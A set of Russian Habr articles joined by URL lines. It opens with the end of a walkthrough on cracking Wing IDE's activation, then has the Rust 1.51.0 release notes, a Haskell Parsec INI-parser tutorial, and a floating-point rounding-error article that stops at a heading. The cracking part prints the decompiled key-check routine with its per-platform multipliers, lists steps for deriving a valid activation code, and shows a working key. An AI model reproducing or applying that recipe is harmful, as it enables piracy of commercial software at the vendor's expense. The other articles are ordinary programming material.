result = PyInt_FromLong(0);
}
```
Зайдем и в **sub\_10001020** тоже. Интересно было бы не на глаз давать имена переменным, а подебажить и обозвать их как следует. Так и сделаем. Настроим отладчик **IDA Pro**:
Думаю, все понятно из скриншота: мы указали приложение, которое в итоге будет подгружать наш **pyd**-файл.
Теперь ставим бряк на начало **sub\_10001020**, и начинаем заглядывать в переменные и входные параметры. После непродолжительного процесса отладки приходим к такому вот листингу функции:
**Код функции convert\_reqest\_key**
```
int __usercall convert_reqest_key@(char \*version@, const char \*platform@, const char \*activation\_key, char \*out\_key)
{
unsigned int len\_1; // edi@1
const char \*platform\_; // esi@1
char \*version\_; // ebx@1
int ver\_; // eax@2
signed int mul1; // ecx@3
signed int mul2; // esi@3
signed int mul3; // ebp@3
bool v11; // zf@15
const char \*act\_key\_ptr; // eax@31
char v13; // dl@32
const char \*act\_key\_ptr\_1; // eax@35
unsigned int len\_2; // ecx@35
char v16; // dl@36
const char \*act\_key\_ptr\_2; // eax@39
unsigned int len\_3; // ecx@39
char v19; // dl@40
int P3\_; // ebx@42
const char \*act\_key\_ptr\_3; // eax@45
unsigned int len\_4; // ecx@45
char v23; // dl@46
unsigned int P4; // ebp@47
signed int mul4; // [sp+10h] [bp-18h]@0
unsigned int P3; // [sp+14h] [bp-14h]@1
unsigned int P2; // [sp+18h] [bp-10h]@1
unsigned int P1; // [sp+1Ch] [bp-Ch]@1
len\_1 = 0;
platform\_ = platform;
version\_ = version;
P1 = 0;
P2 = 0;
P3 = 0;
if ( !strcmp(platform, aWindows) )
{
ver\_ = (unsigned \_\_int8)\*version\_;
if ( \*version\_ == '2' )
{
mul1 = 142;
mul2 = 43;
mul3 = 201;
mul4 = 38;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '3' )
{
mul1 = 23;
mul2 = 163;
mul3 = 2;
mul4 = 115;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '4' )
{
mul1 = 17;
mul2 = 87;
mul3 = 120;
mul4 = 34;
goto LABEL\_31;
}
}
else if ( !strcmp(platform\_, aMacosx) )
{
ver\_ = (unsigned \_\_int8)\*version\_;
if ( \*version\_ == '2' )
{
mul1 = 41;
mul2 = 207;
mul3 = 104;
mul4 = 77;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '3' )
{
mul1 = 128;
mul2 = 178;
mul3 = 104;
mul4 = 95;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '4' )
{
mul1 = 67;
mul2 = 167;
mul3 = 74;
mul4 = 13;
goto LABEL\_31;
}
}
else
{
v11 = strcmp(platform\_, aLinux) == 0;
LOBYTE(ver\_) = \*version\_;
if ( v11 )
{
if ( (\_BYTE)ver\_ == '2' )
{
mul1 = 48;
mul2 = 104;
mul3 = 234;
mul4 = 247;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '3' )
{
mul2 = 52;
mul1 = 254;
mul3 = 98;
mul4 = 235;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '4' )
{
mul1 = 207;
mul2 = 45;
mul3 = 198;
mul4 = 189;
goto LABEL\_31;
}
}
else
{
if ( (\_BYTE)ver\_ == '2' )
{
mul1 = 123;
mul2 = 202;
mul3 = 97;
mul4 = 211;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '3' )
{
mul1 = 127;
mul2 = 45;
mul3 = 209;
mul4 = 198;
goto LABEL\_31;
}
if ( (\_BYTE)ver\_ == '4' )
{
mul2 = 4;
mul1 = 240;
mul3 = 47;
mul4 = 98;
goto LABEL\_31;
}
}
}
if ( (\_BYTE)ver\_ == '5' )
{
mul1 = 7;
mul2 = 123;
mul3 = 23;
mul4 = 87;
}
else
{
mul1 = 0;
mul2 = 0;
mul3 = 0;
}
LABEL\_31:
act\_key\_ptr = activation\_key;
do
v13 = \*act\_key\_ptr++;
while ( v13 );
if ( act\_key\_ptr != activation\_key + 1 )
{
do
P1 = (P1 \* mul1 + activation\_key[len\_1++]) & 0xFFFFF;
while ( len\_1 < strlen(activation\_key) );
}
act\_key\_ptr\_1 = activation\_key;
len\_2 = 0;
do
v16 = \*act\_key\_ptr\_1++;
while ( v16 );
if ( act\_key\_ptr\_1 != activation\_key + 1 )
{
do
P2 = (P2 \* mul2 + activation\_key[len\_2++]) & 0xFFFFF;
while ( len\_2 < strlen(activation\_key) );
}
act\_key\_ptr\_2 = activation\_key;
len\_3 = 0;
do
v19 = \*act\_key\_ptr\_2++;
while ( v19 );
if ( act\_key\_ptr\_2 != activation\_key + 1 )
{
P3\_ = 0;
do
P3\_ = (P3\_ \* mul3 + activation\_key[len\_3++]) & 0xFFFFF;
while ( len\_3 < strlen(activation\_key) );
P3 = P3\_;
}
act\_key\_ptr\_3 = activation\_key;
len\_4 = 0;
do
v23 = \*act\_key\_ptr\_3++;
while ( v23 );
P4 = 0;
if ( act\_key\_ptr\_3 != activation\_key + 1 )
{
do
P4 = (P4 \* mul4 + activation\_key[len\_4++]) & 0xFFFFF;
while ( len\_4 < strlen(activation\_key) );
}
sprintf(out\_key, a\_5x\_5x\_5x\_5x, P1, P2, P3, P4);
return 0;
}
```
А место вызова этой функции приобретает следующий вид:
```
if ( convert_reqest_key(version, platform, request_key, out_key) || strcmp(out_key, act_key_hash) )
{
result = PyInt_FromLong(0);
}
```
Из этого всего можно сделать вывод, что **request code** преобразовывается с помощью функции **convert\_reqest\_key** и сравнивается затем с тем преобразованным кодом активации. Помните то преобразование?
> Далее из кода активации отрезают три первых символа, убирают дефисы, преобразовывают в **BASE16**, и дополняют нулями, если нужно
Значит, чтобы получить правильный код активации нам теперь можно поступить следующим образом:
1. Дать выполниться функции преобразования **convert\_reqest\_key**;
2. На месте выполнения **strcmp** высмотреть содержимое **out\_key**;
3. Убрать лишние нули в начале **out\_key**;
4. Преобразовать **out\_key** обратно в **BASE30**;
5. Дописать в начало получившейся строки убранные три символа (**AXX**);
6. По желанию навтыкать дефисов через каждые пять символов.
Не буду мудрствовать лукаво, а втисну **print** прямо в **python**-код программы:
```
print("AXX" + textutils.BaseConvert("FCBCFEFD2FF684FA6A4F", textutils.BASE16, textutils.BASE30))
```
На выходе получил ключик:
> wingide — 2015/05/24 04:03:47 — **AXX3Q6BQHKQ773D24P58**
Введя его в поле ввода ключа активации, получил заветное:
#### **ИТОГИ**
Как видите, процесс взлома не столько сложный, сколько интересный получился! Исследовать свои же исходники в скомпилированном их варианте… это, конечно, забавно.
Не знаю, зачем авторы приложили к своей программе ее исходники (хоть и в большинстве своем, в виде байт-кода). Но, думаю, вы понимаете, что так делать не стоит!
Всем спасибо. | https://habr.com/ru/post/258613/ | null | ru | null |
# Rust 1.51.0: const generics MVP, новый распознаватель функциональности Cargo
Команда Rust рада сообщить о выпуске новой версии — 1.51.0. Rust — это язык программирования, позволяющий каждому создавать надёжное и эффективное программное обеспечение.
Если вы установили предыдущую версию Rust средствами `rustup`, то для обновления до версии 1.51.0 вам достаточно выполнить следующую команду:
```
rustup update stable
```
Если у вас ещё не установлен `rustup`, вы можете [установить его](https://www.rust-lang.org/install.html) с соответствующей страницы нашего веб-сайта, а также посмотреть [подробные примечания к выпуску](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1510-2021-03-25) на GitHub.
Что было стабилизировано в 1.51.0
---------------------------------
Этот выпуск представляет одно из наиболее крупных дополнений языка Rust и Cargo за долгое время, включающее в себя стабилизацию константных обобщений в минимально полезном варианте и новый распознаватель функциональности в Cargo. Давайте посмотрим подробнее!
### Константные обобщения (Const Generics MVP)
До этого выпуска Rust позволял параметризовать типы по времени жизни или по типам. Например, если бы мы хотели получить `struct`, которая является обобщённой для массива, мы бы написали следующее:
```
struct FixedArray {
// ^^^ Определение обобщённого типа.
list: [T; 32]
// ^ Где мы использовали его.
}
```
Если затем мы используем `FixedArray`, компилятор создаст мономорфизированную версию `FixedArray`, которая выглядит так:
```
struct FixedArray {
list: [u8; 32]
}
```
Этот полезный функционал позволяет писать повторно используемый код без дополнительных затрат во время выполнения. Однако до этого выпуска у нас не было возможности легко объединять *значения* таких типов. Это наиболее заметно в массивах, где длина указывается в определении типа (`[T; N]`). Теперь в версии 1.51.0 вы можете писать код, который будет обобщённым для значений любого числа, типа `bool` или `char`! (Использование значений `struct` и `enum` по-прежнему не стабилизировано.)
Это изменение позволяет создать массив, обобщённый по типу *и* длине. Давайте посмотрим на пример определения и то, как его можно использовать.
```
struct Array {
// ^^^^^^^^^^^^^^^^^^^ Определение константного обобщения.
list: [T; LENGTH]
// ^^^^^^ Мы использовали его здесь.
}
```
Теперь если мы используем `Array`, компилятор создаст мономорфизированную версию `Array`, которая выглядит так:
```
struct Array {
list: [u8; 32]
}
```
Константные обобщения добавляют важный новый инструмент для разработчиков библиотек, чтобы создавать новые, мощные и безопасных API во время компиляции. Если вы хотите узнать больше о константных обобщениях, можете почитать [статью в блоге «Const Generics MVP Hits Beta»](https://blog.rust-lang.org/2021/02/26/const-generics-mvp-beta.html) для получения дополнительной информации об этой функции и её текущих ограничениях. Нам не терпится увидеть, какие новые библиотеки и API вы создадите!
### Стабилизация `array::IntoIter`
Как часть стабилизации константных обобщений, мы также стабилизировали использующее их новое API — `std::array::IntoIter`. `IntoIter` позволяет вам создать поверх массива итератор по значению. Ранее не было удобного способа итерироваться по самим значениям, только по ссылкам.
```
fn main() {
let array = [1, 2, 3, 4, 5];
// Раньше
for item in array.iter().copied() {
println!("{}", item);
}
// Теперь
for item in std::array::IntoIter::new(array) {
println!("{}", item);
}
}
```
Обратите внимание, что это было добавлено вместо `.into_iter()` как отдельный метод, так как сейчас оно ломает текущее соглашение о том, что `.into_iter()` относится к срезам по ссылочному итератору. Мы изучаем возможности в будущем сделать такой код более эргономичным.
### Новый распознаватель функциональности Cargo
Управление зависимостями — сложная задача, и одна из самых сложных её частей — выбор *версии* зависимости, когда от неё зависят два разных пакета. Здесь учитывается не только номер версии, но и то, какая функциональность была включена или выключена для пакета. По умолчанию Cargo объединяет функциональные флаги (features) для одного пакета, если он встречается в графе зависимостей несколько раз.
Например, у вас есть зависимость `foo` с функциональными флагами A и B, которые используются пакетами `bar` and `baz`, но `bar` зависит от `foo+A`, а `baz` — от `foo+B`. Cargo объединит оба флага и соберёт `foo` как `foo+AB`. Выгода здесь в том, что `foo` будет собран только один раз и далее будет использован и для `bar`, и для `baz`.
Но у этого решения есть и обратная сторона. Что, если функциональный флаг подключён как build-зависимость, но не совместим с конечной целью сборки?
Общим примером этого из экосистемы может служить опциональная функциональность `std` во многих `#![no_std]` пакетах, которая позволяет этим пакетам предоставить дополнительную функциональность, если она включена. Теперь представим, что вы хотите использовать `#![no_std]` версию `foo` в вашей `#![no_std]` программе и использовать `foo` во время сборки в `build.rs`. Так как во время сборки вы зависите от `foo+std`, то и ваша программа тоже зависит от `foo+std`, а значит более не может быть скомпилирована, так как `std` не доступна для вашей целевой платформы.
Это была давняя проблема в Cargo, и с этим выпуском появилась новая опция `resolver` в вашем `Cargo.toml`, где вы можете установить `resolver="2"`, чтобы попробовать новый подход к разрешению функциональных флагов. Вы можете ознакомиться с [RFC 2957](https://rust-lang.github.io/rfcs/2957-cargo-features2.html) для получения подробного описания поведения, которое можно резюмировать следующим образом.
* **Dev dependencies** — когда пакет используется совместно как обычная зависимость и dev, возможности dev-зависимости включаются только в том случае, если текущая сборка включает dev-зависимости.
* **Host Dependencies** — когда пакет совместно используется как обычная зависимость и зависимость сборки или процедурный макрос, features для нормальной зависимости сохраняются независимо от зависимости сборки или процедурного макроса.
* **Target dependencies** — когда у пакета включены зависимые от платформы features, и он присутствует в графе сборки несколько раз, будут включены только features, подходящие текущей платформе сборки.
Хотя это может привести к компиляции некоторых пакетов более одного раза, это должно обеспечить гораздо более интуитивный опыт разработки при использовании функций с Cargo. Если вы хотите узнать больше, вы также можете прочитать [раздел «Feature Resolver»](https://doc.rust-lang.org/nightly/cargo/reference/features.html#feature-resolver-version-2) в Cargo Book для получения дополнительной информации. Мы хотели бы поблагодарить команду Cargo и всех участников за их тяжёлую работу по разработке и внедрению нового механизма!
```
[package]
resolver = "2"
# Или если вы используете workspace
[workspace]
resolver = "2"
```
### Разделение отладочной информации
Хоть это и нечасто освещается в релизах, команда Rust постоянно работает над сокращением времени компиляции. В этом выпуске вносится самое крупное улучшение за долгое время для Rust на macOS. Отладочная информация исходного кода содержится в собранном бинарнике, и за счет этого программа может дать больше информации о том, что происходит во время исполнения. Раньше в macOS отладочная информация собиралась в единую директорию `.dSYM` при помощи утилиты `dsymutil`, что могло занимать много времени и дискового пространства.
Сбор всей отладочной информации в эту директорию помогал найти её во время выполнения, особенно если бинарник перемещался. Однако у такого решения есть и обратная сторона: если вы сделали небольшое изменение в вашей программе, то `dsymutil` необходимо запустить над всем собранным бинарником, чтобы собрать директорию `.dSYM`. Иногда это могло сильно увеличить время сборки, особенно для крупных проектов, поскольку надо перебирать все зависимости, но это важный шаг, без которого стандартная библиотека Rust не знает, как загружать отладочную информацию на macOS.
Недавно обратная трассировка в Rust была переключена на другой бэкенд, который поддерживает загрузку отладочной информации без запуска `dsymutil`. Она была стабилизирована, чтобы убрать запуск `dsymutil`. Это может значительно ускорить сборки, которые включают отладочную информацию, и уменьшить размер занимаемого пространства. Мы не проводили обширных тестов, но у нас есть множество отчётов сборок, которые стали с таким поведением на macOS намного быстрее.
Вы можете включить новое поведение, установив флаг `-Csplit-debuginfo=unpacked` при запуске `rustc` или задав опцию [`split-debuginfo`](https://doc.rust-lang.org/nightly/cargo/reference/profiles.html#split-debuginfo) в `unpacked` раздела `[profile]` в Cargo. С опцией "unpacked" rustc будет оставлять объектные файлы (`.o`) в директории сборки вместо их удаления и пропустит запуск `dsymutil`. Поддержка бэктрейсов Rust достаточно умна, чтобы понять, как найти эти `.o` файлы. Такие инструменты, как lldb, также знают, как это делается. Это должно работать до тех пор, пока вам не понадобится переместить бинарники в другое место и сохранить отладочную информацию.
```
[profile.dev]
split-debuginfo = "unpacked"
```
### Стабилизированные API
Итого: в этом выпуске было стабилизировано 18 новых методов для разных типов, например `slice` и `Peekable`. Одним из примечательных дополнений является стабилизация `ptr::addr_of!` и `ptr::addr_of_mut!`, которая позволяет вам создавать сырые указатели для полей без выравнивания. Ранее это было невозможно, так как Rust требовал, чтобы `&/&mut` были выровнены и указывали на инициализированные данные. Из-за этого преобразование `&addr as *const _` приводило к неопределённому поведению, так как `&addr` должно быть выровнено. Теперь эти два макроса позволяют вам безопасно создать невыровненные указатели.
```
use std::ptr;
#[repr(packed)]
struct Packed {
f1: u8,
f2: u16,
}
let packed = Packed { f1: 1, f2: 2 };
// `&packed.f2` будет создана ссылка на невыровненную память, таким образом это неопределённое поведение!
let raw_f2 = ptr::addr_of!(packed.f2);
assert_eq!(unsafe { raw_f2.read_unaligned() }, 2);
```
Следующие методы были стабилизированы:
* [`Arc::decrement_strong_count`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.decrement_strong_count)
* [`Arc::increment_strong_count`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.increment_strong_count)
* [`Once::call_once_force`](https://doc.rust-lang.org/stable/std/sync/struct.Once.html#method.call_once_force)
* [`Peekable::next_if_eq`](https://doc.rust-lang.org/stable/std/iter/struct.Peekable.html#method.next_if_eq)
* [`Peekable::next_if`](https://doc.rust-lang.org/stable/std/iter/struct.Peekable.html#method.next_if)
* [`Seek::stream_position`](https://doc.rust-lang.org/stable/std/io/trait.Seek.html#method.stream_position)
* [`array::IntoIter`](https://doc.rust-lang.org/stable/std/array/struct.IntoIter.html)
* [`panic::panic_any`](https://doc.rust-lang.org/stable/std/panic/fn.panic_any.html)
* [`ptr::addr_of!`](https://doc.rust-lang.org/stable/std/ptr/macro.addr_of.html)
* [`ptr::addr_of_mut!`](https://doc.rust-lang.org/stable/std/ptr/macro.addr_of_mut.html)
* [`slice::fill_with`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.fill_with)
* [`slice::split_inclusive_mut`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.split_inclusive_mut)
* [`slice::split_inclusive`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.split_inclusive)
* [`slice::strip_prefix`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.strip_prefix)
* [`slice::strip_suffix`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.strip_suffix)
* [`str::split_inclusive`](https://doc.rust-lang.org/stable/std/primitive.str.html#method.split_inclusive)
* [`sync::OnceState`](https://doc.rust-lang.org/stable/std/sync/struct.OnceState.html)
* [`task::Wake`](https://doc.rust-lang.org/stable/std/task/trait.Wake.html)
### Другие изменения
[Синтаксис](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1510-2021-03-25), [пакетный менеджер Cargo](https://github.com/rust-lang/cargo/blob/master/CHANGELOG.md#cargo-151-2021-03-25) и [анализатор Clippy](https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-151) также претерпели некоторые изменения.
### Участники 1.51.0
Множество людей собрались вместе, чтобы создать Rust 1.51.0. Мы не смогли бы сделать это без всех вас. [Спасибо!](https://thanks.rust-lang.org/rust/1.51.0/)
От переводчиков
---------------
С любыми вопросами по языку Rust вам смогут помочь в [русскоязычном Телеграм-чате](https://t.me/rustlang_ru) или же в аналогичном [чате для новичковых вопросов](https://t.me/rust_beginners_ru). Если у вас есть вопросы по переводам или хотите помогать с ними, то обращайтесь в [чат переводчиков](https://t.me/rustlang_ru_translations).
Также можете поддержать нас на [OpenCollective](https://opencollective.com/rust-lang-ru).
Данную статью совместными усилиями перевели [andreevlex](https://habr.com/ru/users/andreevlex/), [TelegaOvoshey](https://habr.com/ru/users/telegaovoshey/), [blandger](https://habr.com/ru/users/blandger/), [nlinker](https://habr.com/ru/users/nlinker/) и [funkill](https://habr.com/ru/users/funkill/). | https://habr.com/ru/post/549214/ | null | ru | null |
# Создаём парсер для ini-файлов на Haskell
В данной статье я расскажу как написать свой парсер ini-файлов на Haskell. За основу возьму контекстно-свободную грамматику, построенную [в моей предыдущей статье](http://avsmal.habrahabr.ru/blog/50973/). Для построения парсера будет использоваться библиотека [Parsec](http://www.haskell.org/haskellwiki/Parsec), которая позволяет строить свои собственные парсеры комбинируя готовые *примитивные* парсеры при помощи *парсерных комбинаторов*.
**Важно:** в данной статье предполагается, что читатель знаком с основами Haskell. Если это не так, то я советую сначала прочитать пару статей для новичков (их можно найти в том числе и на Хабре).
Грамматика
----------
Для начала вспомним какую грамматику для ini-фалов мы построили в предыдущей статье:
`inidata = spaces, {section} .
section = "[", ident, "]", stringSpaces, "\n", {entry} .
entry = ident, stringSpaces, "=", stringSpaces, value, "\n", spaces .
ident = identChar, {identChar} .
identChar = letter | digit | "_" | "." | "," | ":" | "(" | ")" | "{" | "}" | "-" | "#" | "@" | "&" | "*" | "|" .
value = {not "\n"} .
stringSpaces = {" " | "\t"} .
spaces = {" " | "\t" | "\n" | "\r"} .`
Её описание нам скоро понадобится.
Haskell и Parsec
----------------
Начните с установки Parsec (можно взять на официальном сайте или поискать готовые пакеты для вашей OS). Процесс установки для разных систем может быть различным, поэтому я не буду его здесь описывать.
Я постараюсь подробно описать процесс создания парсера на Haskell. Начнём с подключения необходимых модулей. Кроме стандартных System (для получения параметров), Data.Char (для функции isSpace) и Data.List (для функции find) нужно подключить модуль Parsec — Text.ParserCombinators.Parsec.
`1 **module** Main **where**
2
3 **import** System.Environment
4 **import** Data.Char
5 **import** Data.List
6 **import** Text.ParserCombinators.Parsec`
Определим типы данных: запись — это пара «ключ — значение», секция — это пара «ключ — список записей», все данные ini-файла — это список секций.
`8 type Entry **=** (String, String)
9 type Section **=** (String, [Entry])
10 type IniData **=** [Section]`
Теперь будем переносить грамматику из нотации Бэкуса-Наура в Haskell. Начнём с inidata.
`12 inidata **=** spaces **>>** many section **>>=** return`
Объясню, что тут написано: inidata состоит из пробелов (это примитивный парсер библиотеки Parsec), за которыми следует (обозначается монадическим оператором >>) много секций, значения которых мы возвращаем (>>= return).
Что значит возвращаем значения? Задача парсера не только проверить соответствие грамматики и данных, но и ещё преобразовать данные в какой-то структурный вид. В нашем случае — это тип данных IniData. Функция many — это комбинатор парсеров, который по некоторому парсеру для нетерминала A строит парсер для {A}.
Теперь переведём в Haskell нетерминал section. section намного сложнее inidata и поэтому я запишу его в do-нотации.
`14 section **=** **do**
15 char '['
16 name **<-** ident
17 char ']'
18 stringSpaces
19 char '\n'
20 spaces
21 el **<-** many entry
22 return (name, el)`
Этот код — почти дословный перевод нетерминала section из нотации Бэкуса-Наура. Функция char создаёт примитивный парсер, который парсит один символ. Стоит обратить внимание на строки 16, 21 и 22. В строке 16 мы сохраняем значение нетерминала ident (имени секции), а в строке 21 сохраняем список записей, которые идут за заголовком секции. В строке 22 мы возвращаем прочитанные название секции и список записей (это соответствует типу Section).
Переходим к записям.
`24 entry **=** **do**
25 k **<-** ident
26 stringSpaces
27 char '='
28 stringSpaces
29 v **<-** value
30 spaces
31 return (k, v)`
Если вы поняли, как мы построили парсер для section, то тут никаких проблем быть не должно. В кратце: в строчках 25 и 29 сохраняем имя параметра и его значение, и возвращаем пару составленную из них (соответствует типу Entry).
Запишем нетерминал для идентификатора. Мы воспользуемся тем, что в Parsec есть комбинатор many1, который позволит склеить нетерминалы identChar и ident в один (мы не могли сделать это в нотации Бэкуса-Наура, т.к. там нет подобного обозначения).
`32 ident **=** many1 (letter **<|>** digit **<|>** oneOf "\_.,:(){}-#@&\*|") **>>=** return **.** trim`
Комбинатор many1 означает, что идентификатор состоит хотя бы из одного символа. Оператор <|> соответствует знаку "|" в нотации Бэкуса-Наура. letter и digit — *примитивные* парсеры для букв и цифр соответственно. Функция oneOf для строки эквивалентна (char '\_' <|> char '.' <|> .....). Отметим также, что при возвращении значения полученная строки обрезается (при помощи функции trim).
Аналогично поступаем с нетерминалом для значения, но используя парсер noneOf, который обратен к oneOf.
`34 value **=** many (noneOf "\n") **>>=** return **.** trim`
Остался последний нетерминал — stringSpaces (нетерминал spaces уже есть в Parsec).
`36 stringSpaces **=** many (char ' ' **<|>** char '\t')`
С грамматикой всё. Осталось определить несколько полезных функций и, конечно, сам main.
Функция trim нужна для удаления лишних пробелов в начале и в конце строки.
`38 trim **=** f **.** f
39 **where** f **=** reverse **.** dropWhile isSpace`
Функция split разделяет текст на строки используя разделитель delim, причём сам разделитель остаётся в конце строки.
`41 split delim **=** foldr f [[]]
42 **where**
43 f x rest**@**(r**:**rs)
44 **|** x **==** delim **=** [delim] **:** rest
45 **|** otherwise **=** (x **:** r) **:** rs`
Функция removeComments удаляет комментарии и пустые строки: она разбивает текст на строки, удаляет те из них, которые начинаются с ";" или "\n", а потом снова их склеивает.
`47 removeComments **=** foldr (**++**) [] **.** filter comment **.** split '\n'
48 **where** comment [] **=** False
49 comment (x**:**_) **=** (x **/=** ';') **&&** (x **/=** '\n')`
Функция findValue ищет в IniData значение параметра по имени секции и имени параметра (вычисление происходит в монаде Maybe). Сначала находим секцию по имени, а потом среди записей из секции находим нужный параметр. Если в какой-то момент мы ничего не найдём, то функция просто вернёт Nothing.
`51 findValue ini s p **=** **do**
52 el **<-** find (**\**x**->**fst x **==** s) ini
53 v **<-** find (**\**x**->**fst x **==** p) (snd el)
54 return **$** snd **$** v`
Переходим к последнему шагу — функции main.
`56 main **=** **do**
57 args **<-** getArgs
58 prog **<-** getProgName
59 **if** (length args) **/=** 3
60 **then** putStrLn **$** "Usage: " **++** prog **++** " "
61 **else** **do**
62 file **<-** readFile **$** head args
63 [s,p] **<-** return **$** tail args
64 lns **<-** return ( removeComments file )
65 **case** (parse inidata "some text" lns) **of**
66 Left err **->** putStr "Parse error: " **>>** print err
67 Right x **->** **case** (findValue x s p) **of**
68 Just x **->** putStrLn x
69 Nothing**->** putStrLn "Can't find requested parameter"
70 return ()`
Здесь всё просто как в старом добром C. Строки 57-58 — получаем параметры и имя программы. Далее, если параметров не 3, то выводим usage. Если с параметрами всё ок, то читаем файл (62) и удаляем комментарии (64).
Теперь нужно запустить парсер. Для этого есть функция parse (65), которой нужно передать главный нетерминал, имя текста (используется для вывода ошибок) и сам текст. Функция parse возвращает либо описание ошибки (Left, 65), либо полученные данные (Right, 66). Если всё распарсилось, то в полученных данных мы ищем запись по имени секции и имени параметра (67). Поиск может вернуть либо найденное значение (Just, 68), тогда мы его выводим, либо ничего (Nothing, 69) — тогда выводим сообщение об ошибке.
Теперь код полностью написан. Компилируем его и запускаем на тестовом примере.
`$ ghc --make ini.hs -o ini_hs
[1 of 1] Compiling Main ( ini.hs, ini.o )
Linking ini_hs ...
$ ./ini_hs /usr/lib/firefox-3.0.5/application.ini App ID
{ec8030f7-c20a-464f-9b0e-13a3a9e97384}
$ ./ini_hs /usr/lib/firefox-3.0.5/application.ini App IDD
Can't find requested parameter`
Надеюсь, что данная статья поможет вам написать свой собственный парсер =)
**Интересное замечание:** вы можете сравнить парсер из этой статьи с парсером на С++ из статьи [«Создаём парсер для ini-файлов на С++»](http://habrahabr.ru/blogs/cpp/50976/).
PS. Спасибо, что помогли перенести этот пост в блог Haskell. | https://habr.com/ru/post/50337/ | null | ru | null |
# Компенсация погрешностей при операциях с числами с плавающей запятой
Работа посвящена погрешностям округления, возникающим при вычислениях у чисел с плавающей запятой. Здесь будут кратко рассмотрены следующие темы: «Представление вещественных чисел», «Способы нахождения погрешностей округления у чисел с плавающей запятой» и будет приведен пример компенсации погрешностей округления.
В данной работе примеры приведены на языке програмиирования C.
Представление вещественных чисел
--------------------------------
Рассмотрим представление конечного действительного числа в стандарте IEEE 754-2008 в виде выражения, которое характеризуется тремя элеменами: **S** (0 или 1), мантисса **M** и порядок **E**:
v = -1S \* b(E — BIAS) \* M
* основанием **b** (стандартом определено три двоичных формата и два десятичных);
* длиной мантиссы **p**, определяющей точность представления числа, измеряется в цифрах (двоичных или десятичных);
* максимальным значением порядка **emax**;
* минимальным значением порядка **emin**; стандарт требует, чтобы выполнялось условие:
```
emin = 1-emax
```
* **BIAS** (смещение); порядок записывается в т. н. смещенной форме, т. е.
реальное значение показателя степени равно **E-BIAS**.
Ниже в таблице даны параметры стандартных форматов чисел с плавающей запятой. Здесь: **w** — ширина битового поля для представления порядка, **t** — ширина битового поля для представления мантиссы, **k** — полная ширина битовой строки.
В следующией таблице представлены диапазоны изменения и точность стандартных 32 и 64-х разрядных форматов вещественных чисел с плавающей запятой.
Здесь «Точноть, Эпсилон» — наименьшее число, для которого истинно выражение:
```
1 + EPSILON != 1
```
Данная величина «Эпсилон», характеризует относительную точность операций сложения и вычитания: если прибавляемая к **x** или вычитаемая из **x** величина меньше, чем **epsilon\*x**, то результат останется равен **x**. На практике, в ряде случаев, при использовании в аддитивных операциях величин, приближающихся по порядку к **epsilon\*x**, начинают сказываться **погрешности округления** меньшего слагаемого. О таких ситуациях и пойдет речь в данной работе.
Рассмотрим представление вещественного числа для типа данных float(Binary32).
В данном примере:
* Число **V** = 0,1562510
* Знак **S** = 0, т.е. +
* Порядок **(E — BIAS)** = 011111002 — 011111112 = 12410 — 12710 = -310
* Мантисса **M** = 1,010000000000000000000002
Таким образом, число **V** = 1,012\*210-310 = 1012\*210-510 = 510\*210-510 = 0,1562510
Заметим, что при выполнении операций с вещественными числами часто результат **не будет помещаться в N-разрядные матиссы**, т.е. будет происходить округление. Округление в одной вычислительной операции не превывает порядок **EPSILON/2**, но когда нам требуется делать много операций, то для повышения точности вычисления результата нам надо научиться находить, насколько именно результат каждой конкретной операции округлён.
Более подробно про округления и нарушение аксиоматики рассказано в файле *makarov\_float.pdf* (ссылка на материал внизу).
Способы нахождения погрешностей округления у чисел с плавающей запятой
----------------------------------------------------------------------
Данную проблему исследовали многие специалисты, наиболее известными из них являются: Дэвид Голдберг, Уильям Кэхен, Джонатан Ричард Шевчук.
Ниже мы рассмотрим алгоримы нахождения погрешностей округления, приведенные в работе Шевчука, на примере двух функций:
* TwoSum — функция нахождения погрешности округления при сложении.
* TwoProduct — функция нахождения погрешности округления при умножении.
Для правильного понимания указанных алгоритмов мы будем опираться на теоремы, которые рассмотрены в работе Шевчука. Теоремы приводим без доказательств.
Говоря, что число **a** является **p**-битовым числом, имеется ввиду, что длина матиссы числа **a** представляется **p** битами.
#### TwoSum
Теорема: пусть числа **a** и **b** являются **p**-битовыми числами с плавающей запятой, где **p** >= 3, тогда следуя данному алгоритму мы получим 2 числа: **x** и **y**, для которых выполняется условие: **a** + **b** = **x** + **y**. Причем **x** является апроксиммацией суммы **a** и **b**, а **y** является погрешностью округления вычисления числа **x**.
#### TwoProduct
В действительности, алогритм находжения погрешности огругления при умножении двух вещественных чисел состоит из 2-х функций: Split — вспомогательной функции и функции TwoProduct, где мы находим погрешность.
Рассмотрим алгоритм функции Split.
###### Split
Теорема: число **a** — **p**-битовое число с плавающей запятой, где **p** >= 3. Выберем точку разрыва **s**, где **p**/2 <= **s** <= **p**-1. Следуя алгоритму, получим (**p** — **s**)-битное число — число **a\_hi** и (**s**-1)-битное число — **a\_lo**, где |**a\_hi**| >= |**a\_low**| и **a** = **a\_hi** + **a\_low**.
Теперь перейдем к анализу функции TwoProduct.
###### TwoProduct
Теорема: пусть числа **a** и **b** являются **p**-битовыми числами с плавающей запятой, где **p** >= 6. Тогда, выполняя данный алгоритм, мы получим 2 числа: **x** и **y**, для которых выполняется условие: **a**\***b** = **x** + **y**. Причем **x** является апроксиммацией произведения чисел **a** и **b**, а число **y** является погрешностью округления вычисления числа **x**.
Видно, что конечный результат представляется парой N-битовых вещественных чисел: результат + погрешность. Причем второе должно иметь порядок не более **EPSILON** по отношению к первому.
Пример компесации погрешностей округления у чисел с плавающей запятой
---------------------------------------------------------------------
